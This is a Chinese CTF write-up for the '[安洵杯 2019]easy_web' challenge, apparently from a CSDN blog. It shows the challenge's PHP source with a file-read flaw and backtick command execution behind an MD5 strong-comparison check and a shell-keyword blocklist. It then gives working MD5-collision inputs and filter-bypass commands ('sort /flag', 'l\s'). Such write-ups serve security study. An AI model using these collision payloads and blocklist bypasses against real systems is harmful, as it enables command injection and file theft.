• [安洵杯 2019]easy_web


    考察知识点:

    1.解密的敏感度(或者说工具的强度)

    2.md5强比较的累积

    3.读取文件的函数累积

    解题:

    进入页面直接burp抓包:

    有一个img=TXpVek5UTTFNbVUzTURabE5qYz0,我们直接放到脚本里跑一下:

    脚本很好写的,就贴合自己喜欢的方式写一个就行。解码出来发现是555.png.因为这里url的特性,所以这里应该只是进行了三次编码:

    hex->base64->base64

     那我们试着读取一下页面源码:

    然后贴到img里面 

    解码一下

    1. error_reporting(E_ALL || ~ E_NOTICE);
    2. header('content-type:text/html;charset=utf-8');
    3. $cmd = $_GET['cmd'];
    4. if (!isset($_GET['img']) || !isset($_GET['cmd']))
    5. header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    6. $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    7. $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    8. if (preg_match("/flag/i", $file)) {
    9. echo '';
    10. die("xixiï½ no flag");
    11. } else {
    12. $txt = base64_encode(file_get_contents($file));
    13. echo "";
    14. echo "
      "
      ;
    15. }
    16. echo $cmd;
    17. echo "
      "
      ;
    18. if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    19. echo("forbid ~");
    20. echo "
      "
      ;
    21. } else {
    22. if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
    23. echo `$cmd`;
    24. } else {
    25. echo ("md5 is funny ~");
    26. }
    27. }
    28. ?>

     关于cmd过滤了很多,并且进入的条件还有一个

    (string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])

    简单,把家底炒出来:

    a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

       

       

    b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

    姿势一: 

    sort /flag

    这个姿势不足的就是不知道flag名字,得猜

    姿势二:

    l\s

    这个方法绕过很好用,也可以知道flag名字

  • 相关阅读:
    门面设计模式
    JVM之jps虚拟机进程状态工具
    提升学校教育质量,还有这种操作?!
    缓存穿透--一起学习吧之架构
    idea配置文件属性提示消息解决方案
    L86.linux命令每日一练 -- 第12章 Linux系统常用内置命令(二)
    当前主流DDos方式有哪几类
    在 Mac 客户端应用程序中使用 breakpad
    嵌入式养成计划-35------C++绪论------C++数据类型------array容器------命名空间
    ES6中的Promise
  • 原文地址:https://blog.csdn.net/qq_64201116/article/details/126093234